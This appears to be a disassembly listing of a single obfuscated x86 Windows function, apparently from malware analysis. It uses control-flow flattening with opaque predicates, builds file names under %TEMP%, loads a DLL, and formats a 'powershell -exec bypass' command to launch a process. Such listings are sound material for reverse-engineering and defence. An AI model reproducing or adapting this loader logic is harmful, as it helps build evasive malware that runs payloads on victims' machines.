Function at 0x42033c
Capabilities:
Create process on windows
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x208
mov esi, esp
mov dword [esi + 4], 0xd818de76
xor ebx, ebx
mov eax, dword [esi + 4]
cmp eax, 0x27508ab
jle 0x4203ec
cmp eax, 0x3c4c5a5d
jle 0x420479
cmp eax, 0x5cb6e664
jg 0x420592
cmp eax, 0x4c02e120
jle 0x4207a1
cmp eax, 0x55039a93
jle 0x420c46
cmp eax, 0x5a2f4ff4
jle 0x4216b0
cmp eax, 0x5aed916d
jle 0x4226d0
cmp eax, 0x5aed916e
je 0x4236b6
cmp eax, 0x5b1843a4
je 0x423959
cmp eax, 0x5c5835ad
jne 0x420356
push 2
push 0x454b1b
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xd3dc4461
test eax, eax
je 0x423abc
mov ecx, 0xa963abec
jmp 0x423abc
cmp eax, 0xc4c9c285
jg 0x420508
cmp eax, 0xa8456993
jg 0x420613
cmp eax, 0x978cfc5e
jle 0x420746
cmp eax, 0xa13663d8
jg 0x4209ff
cmp eax, 0x9ceb4c3c
jle 0x421553
cmp eax, 0x9fdb8c00
jle 0x422453
cmp eax, 0x9fdb8c01
je 0x423210
cmp eax, 0xa0869439
je 0x42363f
cmp eax, 0xa10e0e89
jne 0x420356
mov eax, dword [esi + 8]
shr eax, 2
and eax, 0x1fffffff
imul eax, eax, 0x98
shr eax, 0xb
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa8456994
mov dword [esi + 0x4c], 0
jmp 0x420356
cmp eax, 0x1cd4584a
jg 0x420677
cmp eax, 0xf39a69c
jg 0x420845
cmp eax, 0x8b8e578
jle 0x420c81
cmp eax, 0xad6eded
jle 0x4216dd
cmp eax, 0xc6f5210
jle 0x42271f
cmp eax, 0xc6f5211
je 0x4236df
cmp eax, 0xdb14852
je 0x423971
cmp eax, 0xf05b0e6
jne 0x420356
push dword [esi + 0xc8]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x84]
add eax, eax
add eax, 2
push eax
call fcn.0043c534
add esp, 4
mov dword [esi + 0x68], eax
mov dword [esi + 4], 0x69f6c253
jmp 0x420356
cmp eax, 0xe0135fac
jg 0x4206f4
cmp eax, 0xd5aed48c
jle 0x42088b
cmp eax, 0xdb576bbe
jle 0x420cd8
cmp eax, 0xdd15db0c
jle 0x421717
cmp eax, 0xddb15dad
jle 0x42275d
cmp eax, 0xddb15dae
je 0x423715
cmp eax, 0xde4186d8
je 0x42398c
cmp eax, 0xdf206d0c
jne 0x420356
mov eax, dword [esi + 0xc]
lea edi, [eax*4 - 0x100]
mov dword [esi + 0xc], edi
call fcn.0040560b
call fcn.0042033c
mov eax, 0xd818de76
cmp edi, 0xd8
jl 0x4239a7
mov eax, 0x8a773bbe
jmp 0x4239a7
cmp eax, 0x6d95dbd3
jle 0x4209bc
cmp eax, 0x753c369d
jle 0x420c02
cmp eax, 0x783a9b21
jle 0x421683
cmp eax, 0x7c840333
jle 0x422688
cmp eax, 0x7c840334
je 0x4236aa
cmp eax, 0x7ccb0544
je 0x42393b
cmp eax, 0x7ed04493
jne 0x420356
push dword [esi + 0x1c]
call fcn.00427404
add esp, 4
push 6
push 0x454b2a
push dword [esi + 0x18]
call fcn.00401602
add esp, 0xc
mov ecx, 0xd80e93a9
test eax, eax
je 0x423abc
mov ecx, 0x45180374
jmp 0x423abc
cmp eax, 0xb360ee16
jg 0x4208dc
cmp eax, 0xad5b4538
jg 0x420efd
cmp eax, 0xaa7c82f4
jg 0x42122d
cmp eax, 0xa963abeb
jg 0x42264a
cmp eax, 0xa8c75e36
je 0x4215b0
cmp eax, 0xa941ac8c
jne 0x423b13
push 0x200
push dword [esi + 0xa0]
push dword [esi + 0x34]
call fcn.0043c57c
add esp, 0xc
mov dword [esi + 4], 0x8dbdbc4
jmp 0x420356
cmp eax, 0x2ccbb42c
jg 0x420922
cmp eax, 0x25b4543e
jg 0x420db3
cmp eax, 0x1f67777f
jg 0x421612
cmp eax, 0x1ec15ad3
jg 0x421f2b
cmp eax, 0x1d7eba2f
je 0x4231bf
cmp eax, 0x1e33837e
jne 0x423b8e
mov eax, dword [esi + 8]
shr eax, 1
add eax, 0xffffff0e
shr eax, 4
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4b71
shl eax, 0x10
dec edx
add eax, 0x9d0000
mov dword [esi + 8], eax
mov eax, 0x410b6d0d
cmp ecx, edx
je 0x4239a7
mov eax, 0x659ba23b
jmp 0x4239a7
cmp eax, 0xf151e2f8
jg 0x420968
cmp eax, 0xe7ee7337
jg 0x420a6b
cmp eax, 0xe483f550
jg 0x42130d
cmp eax, 0xe40ce2a9
jg 0x421848
cmp eax, 0xe1534e70
jne 0x423b23
imul eax, dword [esi + 8], 0xae00000
add eax, 0xd1e00000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x26b14882
jmp 0x420356
cmp eax, 0x8a773bbd
jle 0x420ac2
cmp eax, 0x8f71f7d1
jg 0x4213cc
cmp eax, 0x8eb6d7dc
jg 0x421875
cmp eax, 0x8aa7665d
je 0x422a98
cmp eax, 0x8d6667c8
jne 0x423b4e
push 3
push 0x454b28
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0x52dce113
jmp 0x420356
cmp eax, 0x43b4407c
jle 0x420b19
cmp eax, 0x47334019
jg 0x421415
cmp eax, 0x45180373
jle 0x421961
cmp eax, 0x45180374
je 0x422b6b
cmp eax, 0x465585f3
jne 0x423b5e
push 0x400
push 0
push dword [esi + 0x38]
call fcn.00432cd0
add esp, 0xc
mov edi, 0x200
push edi
push dword [esi + 0xa0]
push dword [esi + 0x38]
call fcn.0043c57c
add esp, 0xc
push dword [esi + 0x14]
push dword [esi + 0x38]
call fcn.0041840b
add esp, 8
mov eax, dword [esi + 0x60]
push 0x3a
push str.powershell__exec_bypass___s_
push dword [esi + 0x60]
call fcn.004321d0
add esp, 0xc
mov eax, dword [esi + 0x64]
push dword [esi + 0x14]
push dword [esi + 0x60]
push edi
push dword [esi + 0x64]
call 0x423c78
add esp, 0x10
mov dword [esi + 4], 0xf6ef9cbc
jmp 0x420356
cmp eax, 0x16d33ec9
jg 0x420b66
cmp eax, 0x14bd0cb4
jg 0x421442
cmp eax, 0x12610053
jle 0x421a39
cmp eax, 0x12610054
je 0x422b92
cmp eax, 0x14a64970
jne 0x423b6e
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0xb4d4536b
jmp 0x420356
cmp eax, 0xce2346b7
jg 0x420bad
cmp eax, 0xca12a093
jle 0x42148e
cmp eax, 0xcde2a731
jg 0x421af5
cmp eax, 0xca62c2b2
je 0x422bc2
cmp eax, 0xcbf6867d
jne 0x423b7e
mov eax, dword [esi + 8]
shr eax, 9
and eax, 0x1ffff
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe7ee7338
jmp 0x420356
cmp eax, 0xb947c3e4
jg 0x420d3c
cmp eax, 0xb5726027
jle 0x4215ce
cmp eax, 0xb7434dc6
jle 0x421e1c
cmp eax, 0xb7434dc7
je case.0x421f78.1
cmp eax, 0xb8f068c5
jne 0x423b9e
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0x88aafe5f
jmp 0x420356
cmp eax, 0x33dae76b
jg 0x420e12
cmp eax, 0x2f6863b6
jle 0x421656
cmp eax, 0x32b3c8cb
jg 0x421f9a
cmp eax, 0x2f6863b7
je 0x4231e7
cmp eax, 0x31965cbe
jne 0x423bab
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0xba5af093
jmp 0x420356
cmp eax, 0xfd1ed99e
jg 0x420e6b
cmp eax, 0xf998b3fd
jg 0x421367
cmp eax, 0xf6ef9cbb
jg 0x4220b2
cmp eax, 0xf151e2f9
je 0x423048
cmp eax, 0xf6e8e4fa
jne 0x420356
push dword [esi + 0x12c]
call fcn.0043c534
add esp, 4
mov dword [esi + 0x78], eax
mov dword [esi + 4], 0x1bf8b4fb
jmp 0x420356
cmp eax, 0x659ba23a
jg 0x420eb4
cmp eax, 0x623dc965
jg 0x4214cb
cmp eax, 0x5f4319e0
jg 0x4222b1
cmp eax, 0x5cb6e665
je 0x42337d
cmp eax, 0x5e8de54a
jne 0x420356
mov dword [esi + 4], 0x2ed4b61f
jmp 0x420356
cmp eax, 0xa53e1d54
jg 0x42108e
cmp eax, 0xa18f12cc
jle 0x42174d
cmp eax, 0xa18f12cd
je 0x422825
cmp eax, 0xa2605f56
jne 0x423b3e
call fcn.0043c870
mov ecx, eax
mov edx, 0x66666667
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 2
add edx, eax
add edx, edx
lea eax, [edx + edx*4]
neg eax
add eax, ecx
add eax, 9
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0xd1d22a06
mov dword [esi + 0xb8], 0
jmp 0x420356
cmp eax, 0xea1c0409
jg 0x420f64
cmp eax, 0xe8f1218e
jg 0x4217ad
cmp eax, 0xe7ee7338
je 0x422859
cmp eax, 0xe87eaa4a
jne 0x420356
imul ecx, dword [esi + 0xc], 0xc7e000
add ecx, 0xc1a10000
mov eax, ecx
shr eax, 0xd
mov dword [esi + 0xc], eax
mov eax, 0xea1c040a
cmp ecx, 0xa4001
jb 0x423559
jmp 0x4239a7
cmp eax, 0x88aafe5e
jg 0x420fa0
cmp eax, 0x84d457ed
jg 0x4218bb
cmp eax, 0x83112651
je 0x4228eb
cmp eax, 0x83439573
jne 0x420356
mov ecx, dword [esi + 0xc]
mov eax, 0x96
add ecx, eax
shr ecx, 0xd
mov dword [esi + 0xc], ecx
mov eax, 0x72c45320
cmp ecx, 0x83
je 0x4239a7
mov eax, 0xb7fcbe0
jmp 0x4239a7
cmp eax, 0x3f05df7f
jg 0x420ff3
cmp eax, 0x3e8274d2
jg 0x4219ab
cmp eax, 0x3c4c5a5e
je 0x42297a
cmp eax, 0x3d94412a
jne 0x420356
imul ecx, dword [esi + 0xc], 0x12600000
mov eax, ecx
shr eax, 0xd
mov dword [esi + 0xc], eax
mov eax, 0x1ec15ad4
test ecx, ecx
jne 0x42388b
jmp 0x4239a7
cmp eax, 0x19e6e3b4
jg 0x42102f
cmp eax, 0x194b7f73
jg 0x421a5b
cmp eax, 0x16d33eca
je case.0x421f78.3
cmp eax, 0x18d76eef
jne 0x420356
imul eax, dword [esi + 0xc], 0x32
shr eax, 9
add eax, 0x91
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe626ce65
jmp 0x420356
cmp eax, 0xd2a57dd5
jg 0x42105c
cmp eax, 0xce5f35f5
jg 0x421ba2
cmp eax, 0xce2346b8
je 0x422ab5
cmp eax, 0xce552804
jne 0x420356
push 2
push 0x454b1b
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0xe40ce2aa
jmp 0x423abc
cmp eax, 0x729f200c
jg 0x4210d3
cmp eax, 0x70c9d925
jg 0x421c35
cmp eax, 0x6d95dbd4
je 0x422c12
cmp eax, 0x6e1c8c81
jne 0x420356
imul eax, dword [esi + 8], 0x32
add eax, 0xe8
mov dword [esi + 8], eax
mov dword [esi + 4], 0x2756e91f
jmp 0x420356
cmp eax, 0x51900570
jg 0x421110
cmp eax, 0x4f121935
jg 0x421cc7
cmp eax, 0x4c02e121
je 0x422c9b
cmp eax, 0x4cba4df0
jne 0x420356
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0xab9fbec5
jmp 0x420356
cmp eax, 0x4c34005
jg 0x421161
cmp eax, 0x3a4e65c
jg 0x421d31
cmp eax, 0x27508ac
je 0x422d33
cmp eax, 0x366131e
jne 0x420356
mov eax, dword [esi + 0x54]
movzx ecx, word [0x454ac2]
mov word [eax + 8], cx
mov ecx, dword [0x454abe]
mov dword [eax + 4], ecx
mov ecx, dword [str..exe]
mov dword [eax], ecx
mov dword [esi + 4], 0x408035dc
jmp 0x420356
cmp eax, 0xd75583fe
jg 0x4211bd
cmp eax, 0xd6500c05
jg 0x421da4
cmp eax, 0xd5aed48d
je 0x423b04
cmp eax, 0xd6188769
jne 0x420356
mov eax, dword [esi + 8]
mov ecx, 0xaf
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x50c9
dec edx
shr eax, 4
and eax, 0x7ffffff
mov dword [esi + 8], eax
mov eax, 0xd8d96b0e
cmp edx, ecx
je 0x4239a7
mov eax, 0xec46feb8
jmp 0x4239a7
cmp eax, 0xbfb0957c
jg 0x4211fd
cmp eax, 0xbc8c7a54
jg 0x421e70
cmp eax, 0xb947c3e5
je 0x422e02
cmp eax, 0xba5af093
jne 0x420356
mov eax, dword [esi + 0x58]
movzx ecx, word [0x454acc]
mov word [eax + 8], cx
mov ecx, dword [0x454ac8]
mov dword [eax + 4], ecx
mov ecx, dword [str..dll]
mov dword [eax], ecx
push dword [esi + 0x58]
push dword [esi + 0x14]
call fcn.00440006
add esp, 8
mov ecx, dword [esi + 0xa4]
mov eax, 0x3b4d0c96
cmp ecx, 2
jb 0x4239a7
mov eax, 0xb8f068c5
jmp 0x4239a7
cmp eax, 0x27d54626
jg 0x421293
cmp eax, 0x26b14881
jg 0x421fbc
cmp eax, 0x25b4543f
je 0x422f31
cmp eax, 0x260bbb44
jne 0x420356
lea edi, [esi + 0x174]
push edi
push dword [esi + 0x10c]
push dword [esi + 0x70]
push dword [esi + 0x6c]
push dword [esi + 0x68]
call fcn.0040c203
add esp, 0x14
push edi
call fcn.00419a9a
add esp, 4
mov dword [esi + 4], 0xaa7c82f5
jmp 0x420356
cmp eax, 0x385efa86
jg 0x4212dd
cmp eax, 0x3613e879
jg 0x421ff4
cmp eax, 0x33dae76c
je 0x422f51
cmp eax, 0x3560964e
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0xf
or eax, 0x71f1
mov dword [esi + 0xc], eax
push eax
push 0x216c
push 0x48d8
call 0x423c78
add esp, 0xc
mov dword [esi + 4], 0xfbf14b31
jmp 0x420356
cmp eax, 0x67d7b1
jg 0x42139f
cmp eax, 0xfec8220f
jg 0x4220d4
cmp eax, 0xfd1ed99f
je 0x423076
cmp eax, 0xfd691bec
jne 0x420356
mov eax, dword [esi + 8]
lea eax, [eax + eax*8]
shl eax, 8
add eax, 0x5dc5
mov dword [esi + 8], eax
mov dword [esi + 4], 0x1ec15ad4
jmp 0x420356
cmp eax, 0x681c0f1f
jg 0x421510
cmp eax, 0x671ff551
jg 0x4222ea
cmp eax, 0x659ba23b
je 0x4233dd
cmp eax, 0x664dce88
jne 0x420356
mov eax, dword [esi + 8]
lea eax, [eax + eax*2]
shl eax, 0xb
add eax, 0x1293a2
mov dword [esi + 8], eax
mov dword [esi + 4], 0xf39a69d
jmp 0x420356
cmp eax, 0xb2cc8519
jg 0x42158f
cmp eax, 0xb00ced16
jg 0x4223c7
cmp eax, 0xad5b4539
je 0x423563
cmp eax, 0xadb0efa1
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 0x12
add eax, 0xffa00000
shr eax, 0xf
imul edi, eax, 0xc5
mov dword [esi + 0xc], edi
call fcn.0042033c
push 0x2307
push edi
push 0x3b2f
call 0x423c78
add esp, 0xc
mov dword [esi + 4], 0x70c9d926
jmp 0x420356
cmp eax, 0xec46feb7
jg 0x421810
cmp eax, 0xea1c040a
je 0x42288a
cmp eax, 0xea1e4123
jne 0x420356
mov eax, dword [esi + 0x110]
add eax, 2
mov dword [esi + 0x114], eax
mov dword [esi + 4], 0xb00ced17
jmp 0x420356
cmp eax, 0x89170e66
jg 0x42191b
cmp eax, 0x88aafe5f
je 0x423af2
cmp eax, 0x8911bf53
jne 0x420356
mov eax, dword [esi + 8]
add eax, 0x41
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2ac1
dec edx
shr eax, 0xa
add eax, 0xffffff9d
mov dword [esi + 8], eax
mov eax, 0xe1527318
cmp edx, ecx
je 0x4239a7
mov eax, 0x98ec8314
jmp 0x4239a7
cmp eax, 0x410b6d0c
jg 0x4219ea
cmp eax, 0x3f05df80
je 0x4229c1
cmp eax, 0x408035dc
jne 0x420356
imul eax, dword [esi + 8], 0x88000000
or eax, 0xc5
mov dword [esi + 8], eax
mov dword [esi + 4], 0x4b1c1da0
jmp 0x420356
cmp eax, 0x1bf8b4fa
jg 0x421a95
cmp eax, 0x19e6e3b5
je 0x422a45
cmp eax, 0x1a6735c0
jne 0x420356
mov dword [esi + 4], 0x8aa7665d
jmp 0x420356
cmp eax, 0xd3dc4460
jg 0x421bd0
cmp eax, 0xd2a57dd6
je 0x422ac1
cmp eax, 0xd2e381b8
jne 0x420356
call fcn.00427198
mov dword [esi + 4], 0xe1534e70
jmp 0x420356
cmp eax, 0xa6935e70
jg 0x421c13
cmp eax, 0xa53e1d55
je 0x422bd1
cmp eax, 0xa67c6a3b
jne 0x420356
mov ecx, dword [esi + 0xc]
shl ecx, 0x14
mov eax, 0x7576378
add ecx, 0xfaa00000
mov dword [esi + 0xc], ecx
je 0x4239a7
mov eax, 0x293a4e14
jmp 0x4239a7
cmp eax, 0x72d24bcd
jg 0x421c6e
cmp eax, 0x729f200d
je 0x422c39
cmp eax, 0x72c45320
jne 0x420356
cmp dword [esi + 0xfc], 0
mov eax, 0xb2cc851a
je 0x4239a7
mov eax, 0x1964a6a8
jmp 0x4239a7
cmp eax, 0x52dce112
jg 0x421d01
cmp eax, 0x51900571
je 0x422cb2
cmp eax, 0x521a29f2
jne 0x420356
mov eax, dword [esi + 8]
mov ecx, 0xfffffdd8
add eax, ecx
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x673b
dec edx
mov eax, 0xfbf14b31
cmp ecx, edx
je 0x4239a7
mov eax, 0x67d7b2
jmp 0x4239a7
cmp eax, 0x6c5bace
jg 0x421d6c
cmp eax, 0x4c34006
je 0x422d58
cmp eax, 0x5ae7cf6
jne 0x420356
mov ecx, dword [esi + 8]
imul eax, ecx, 0x6d
add eax, 0x232e
imul eax, eax
imul edx, eax, 0x5a87
dec edx
imul ecx, ecx, 0x6556
add ecx, 0x21218a
mov dword [esi + 8], ecx
mov ecx, 0xe0135fad
cmp edx, eax
je 0x423abc
mov ecx, 0xe8f1218f
jmp 0x423abc
cmp eax, 0xd80e93a8
jg 0x421de6
cmp eax, 0xd75583ff
je 0x422da9
cmp eax, 0xd797924a
jne 0x420356
mov eax, dword [esi + 8]
shl eax, 0xf
and eax, 0x7ff8000
or eax, 0x590
mov dword [esi + 8], eax
mov dword [esi + 4], 0x8792345a
jmp 0x420356
cmp eax, 0xc188efd2
jg 0x421ecc
cmp eax, 0xbfb0957d
je 0x422e1d
cmp eax, 0xc1010f35
jne 0x420356
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xe483f551
jmp 0x420356
cmp eax, 0xac982caa
jg 0x421efe
cmp eax, 0xaa7c82f5
je 0x422eea
cmp eax, 0xab9fbec5
jne 0x420356
mov eax, dword [esi + 0x50]
movzx ecx, word [0x454ab8]
mov word [eax + 0xc], cx
mov ecx, dword [0x454ab4]
mov dword [eax + 8], ecx
mov ecx, dword [0x454ab0]
mov dword [eax + 4], ecx
mov ecx, dword [str._TEMP_]
mov dword [eax], ecx
push 0x200
push dword [esi + 0x14]
push dword [esi + 0x50]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [esi + 4], 0x6b403010
jmp 0x420356
cmp eax, 0x29580c1b
jg 0x42202b
cmp eax, 0x27d54627
je 0x422f74
cmp eax, 0x293a4e14
jne 0x420356
push 5
push 0x454b14
push dword [esi + 0x18]
call fcn.00401602
add esp, 0xc
mov ecx, 0x681c0f20
test eax, eax
je 0x423abc
mov ecx, 0xb4b9349a
jmp 0x423abc
cmp eax, 0x3b4d0c95
jg 0x42206c
cmp eax, 0x385efa87
je 0x422f94
cmp eax, 0x3aeee27d
jne 0x420356
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x4f121936
jmp 0x420356
cmp eax, 0xe55eb716
jg 0x42210a
cmp eax, 0xe483f551
je 0x42309c
cmp eax, 0xe54eb51f
jne 0x420356
mov ecx, dword [esi + 8]
lea eax, [ecx + 0x8a]
imul eax, eax
imul edx, eax, 0x7b7
dec edx
imul ecx, ecx, 0x522
add ecx, 0x25dac
mov dword [esi + 8], ecx
mov ecx, 0xb2ff0500
cmp edx, eax
je 0x423abc
mov ecx, 0xb947c3e5
jmp 0x423abc
cmp eax, 0xfb1f247b
jg 0x422148
cmp eax, 0xf998b3fe
je 0x4230ba
cmp eax, 0xfa989478
jne 0x420356
push dword [esi + 0x20]
call fcn.004016f1
add esp, 4
mov dword [esi + 4], 0x26b14882
jmp 0x420356
cmp eax, 0x1541b13
jg 0x422180
cmp eax, 0x67d7b2
je 0x4230f6
cmp eax, 0x14e076b
jne 0x420356
mov dword [esi + 4], 0x83112651
jmp 0x420356
cmp eax, 0x9252eb52
jg 0x4221a9
cmp eax, 0x8f71f7d2
je 0x423266
cmp eax, 0x902e7ac3
jne 0x420356
mov eax, dword [esi + 0xc]
shl eax, 7
add eax, 0xffffff25
shr eax, 0xc
and eax, 0xfffffffc
imul eax, eax, 0x4a
add eax, 0xebe0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xde4186d8
jmp 0x420356
cmp eax, 0x4a9dd6a1
jg 0x4221dc
cmp eax, 0x4733401a
je 0x4232c5
cmp eax, 0x482f1844
jne 0x420356
mov dword [esi + 4], 0x757d55cc
jmp 0x420356
cmp eax, 0x15d97bfb
jg 0x42221c
cmp eax, 0x14bd0cb5
je 0x42332a
cmp eax, 0x14bfbbb1
jne 0x420356
imul ecx, dword [esi + 0xc], 0xcc00000
add ecx, 0x40800099
mov eax, ecx
shr eax, 0xe
mov dword [esi + 0xc], eax
mov eax, 0xc948a886
cmp ecx, 0x4000
jae 0x4239a2
jmp 0x4239a7
cmp eax, 0xc5a2abd4
jg 0x422256
cmp eax, 0xc4c9c286
je 0x4233e9
cmp eax, 0xc4f3998c
jne 0x420356
cmp dword [esi + 0x134], 0
mov eax, 0xad6edee
je 0x4239a7
mov eax, 0x769bf18c
jmp 0x4239a7
cmp eax, 0x64008e4f
jg 0x42232f
cmp eax, 0x623dc966
je 0x4233f5
cmp eax, 0x6351186d
jne 0x420356
push 2
push 0x454b1d
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov dword [esi + 0x108], eax
mov dword [esi + 4], 0xc32f5f3a
jmp 0x420356
cmp eax, 0x69f6c252
jg 0x422360
cmp eax, 0x681c0f20
je 0x423410
cmp eax, 0x6870efa2
jne 0x420356
push 0x454b1d
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xc4], eax
mov dword [esi + 4], 0x2d3645e5
jmp 0x420356
cmp eax, 0x999199b2
jg 0x422395
cmp eax, 0x978cfc5f
je 0x42350c
cmp eax, 0x98ec8314
jne 0x420356
mov eax, dword [esi + 0x124]
add eax, 2
mov dword [esi + 0x128], eax
mov dword [esi + 4], 0xcde339b0
jmp 0x420356
cmp eax, 0xb2ff04ff
jg 0x4223f9
cmp eax, 0xb2cc851a
je 0x423587
cmp eax, 0xb2fbf1fe
jne 0x420356
push dword [esi + 0x20]
call fcn.004016f1
add esp, 4
mov dword [esi + 4], 0xa8456994
mov dword [esi + 0x4c], 0
jmp 0x420356
cmp eax, 0xb4b93499
jg 0x422431
cmp eax, 0xb360ee17
je 0x423668
cmp eax, 0xb3b84475
jne 0x420356
mov eax, dword [esi + 8]
shl eax, 8
and eax, 0x3fffff00
or eax, 0x12
imul eax, eax, 0x39
shr eax, 0xc
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5a2f4ff5
jmp 0x420356
cmp eax, 0x21102172
jg 0x422489
cmp eax, 0x1f677780
je 0x42374e
cmp eax, 0x206bb2f5
jne 0x420356
push dword [esi + 0x98]
push dword [esi + 0xd4]
push dword [esi + 0x78]
call fcn.0043c57c
add esp, 0xc
mov dword [esi + 4], 0x76467f4f
jmp 0x420356
cmp eax, 0x2e003a2c
jg 0x4224e3
cmp eax, 0x2ccbb42d
je 0x42376b
cmp eax, 0x2d3645e5
jne 0x420356
mov dword [esi + 4], 0x5cb6e665
jmp 0x420356
cmp eax, 0x76467f4e
jg 0x422530
cmp eax, 0x753c369e
je 0x4237f4
cmp eax, 0x757d55cc
jne 0x420356
mov dword [esi + 4], 0x1f677780
jmp 0x420356
cmp eax, 0x5602a2d6
jg 0x42257b
cmp eax, 0x55039a94
je 0x423848
cmp eax, 0x55d33f9b
jne 0x420356
mov dword [esi + 4], 0x939409e9
jmp 0x420356
cmp eax, 0x951b104
jg 0x4225ac
cmp eax, 0x8b8e579
je 0x423869
cmp eax, 0x8dbdbc4
jne 0x420356
imul eax, dword [esi + 8], 0x11c000
or eax, 0x35
mov dword [esi + 8], eax
mov dword [esi + 4], 0xd4eb179e
jmp 0x420356
cmp eax, 0xdbb22b16
jg 0x4225e2
cmp eax, 0xdb576bbf
je 0x4238b0
cmp eax, 0xdb7fe5fa
jne 0x420356
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 4], 0xb8f068c5
jmp 0x420356
cmp eax, 0xa13663d9
je 0x4227fa
cmp eax, 0xa18d186b
jne 0x420356
push 0x454b25
push dword [esi + 0x10]
call fcn.0040142a
add esp, 8
fnstcw word [esi + 0x46]
movzx eax, word [esi + 0x46]
or eax, 0xc00
mov word [esi + 0xb0], ax
fldcw word [esi + 0xb0]
fistp dword [esi + 0xec]
fldcw word [esi + 0x46]
mov eax, dword [esi + 0xec]
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0xad5b4539
jmp 0x420356
cmp eax, 0xe8f1218f
je 0x4228bd
cmp eax, 0xea0119b0
jne 0x420356
imul ebx, dword [esi + 0xc], 0x27
mov edi, ebx
shr edi, 0xa
mov dword [esi + 0xc], edi
push edi
push 0x3c99
push 0x2d88
call 0x423c78
add esp, 0xc
push 0x5857
push edi
push 0x1e36
call 0x423c78
add esp, 0xc
mov eax, 0xb5726028
cmp ebx, 0x19000
jb 0x421ec2
mov eax, 0x83112651
jmp 0x421ec2
cmp eax, 0xec46feb8
je 0x4228df
cmp eax, 0xee3271ef
jne 0x420356
push 0x454b1b
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xcc], eax
mov dword [esi + 4], 0xd6188769
jmp 0x420356
cmp eax, 0xe40ce2aa
je 0x423a9c
cmp eax, 0xe449f44d
je 0x423ac4
cmp eax, 0xe47e4be3
jne 0x420356
mov dword [esi + 4], 0x206bb2f5
jmp 0x420356
cmp eax, 0x8eb6d7dd
je 0x42290e
cmp eax, 0x8f1d1899
jne 0x420356
mov eax, dword [esi + 8]
mov ecx, 0xffffff42
add eax, ecx
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1b17
dec edx
mov eax, 0xb5726028
cmp ecx, edx
je 0x4239a7
mov eax, 0x623dc966
jmp 0x4239a7
cmp eax, 0x84d457ee
je 0x422926
cmp eax, 0x8792345a
jne 0x420356
push 0x454b1f
push dword [esi + 0x10]
call fcn.004013cf
add esp, 8
mov dword [esi + 0xd8], eax
push dword [esi + 0xd4]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x98], eax
push dword [esi + 0xd8]
call fcn.0043cc10
add esp, 4
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0xe6e81e80
jmp 0x420356
cmp eax, 0x89170e67
je 0x422942
cmp eax, 0x8928d3c3
jne 0x420356
mov eax, dword [esi + 8]
sub eax, 0xffffff80
imul ecx, eax, 0xea00
imul eax, eax
imul edx, eax, 0x5467
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xb6a4cc46
cmp eax, edx
je 0x423abc
mov ecx, 0x7c840334
jmp 0x423abc
cmp eax, 0x43b4407d
je 0x4229d9
cmp eax, 0x44fff3de
jne 0x420356
mov eax, dword [esi + 0xc]
shr eax, 3
imul edi, eax, 0x6d0
mov eax, edi
shr eax, 0xf
mov dword [esi + 0xc], eax
call fcn.0040560b
mov eax, 0xdb576bbf
cmp edi, 0x3a0000
jae 0x4239a7
mov eax, 0x3d94412a
jmp 0x4239a7
cmp eax, 0x3e8274d3
je 0x4229f3
cmp eax, 0x3e9cebff
jne 0x420356
push 2
push 0x454b1f
push dword [esi + 0x10]
call fcn.00401602
add esp, 0xc
mov ecx, 0xad6edee
test eax, eax
je 0x423abc
mov ecx, 0x21102173
jmp 0x423abc
cmp eax, 0x410b6d0d
je 0x422a27
cmp eax, 0x4371cbc3
jne 0x420356
mov eax, dword [esi + 8]
add eax, 0x47
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4c7b
dec edx
shl eax, 6
add eax, 0x10c00
and eax, 0xfffffe00
mov dword [esi + 8], eax
mov eax, 0xb5726028
cmp ecx, edx
je 0x4239a7
mov eax, 0xb360ee17
jmp 0x4239a7
cmp eax, 0xf39a69d
je 0x422a51
cmp eax, 0x1251d395
jne 0x420356
mov dword [esi + 4], 0x8d6667c8
jmp 0x420356
cmp eax, 0x194b7f74
je 0x422a60
cmp eax, 0x1964a6a8
jne 0x420356
mov eax, dword [esi + 0x3c]
add eax, 4
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x2c]
add eax, 4
mov dword [esi + 0x104], eax
mov dword [esi + 4], 0x33dae76c
jmp 0x420356
cmp eax, 0x1bf8b4fb
je 0x422a82
cmp eax, 0x1c21ad59
jne 0x420356
push 0x454b28
push dword [esi + 0x10]
call fcn.0040142a
add esp, 8
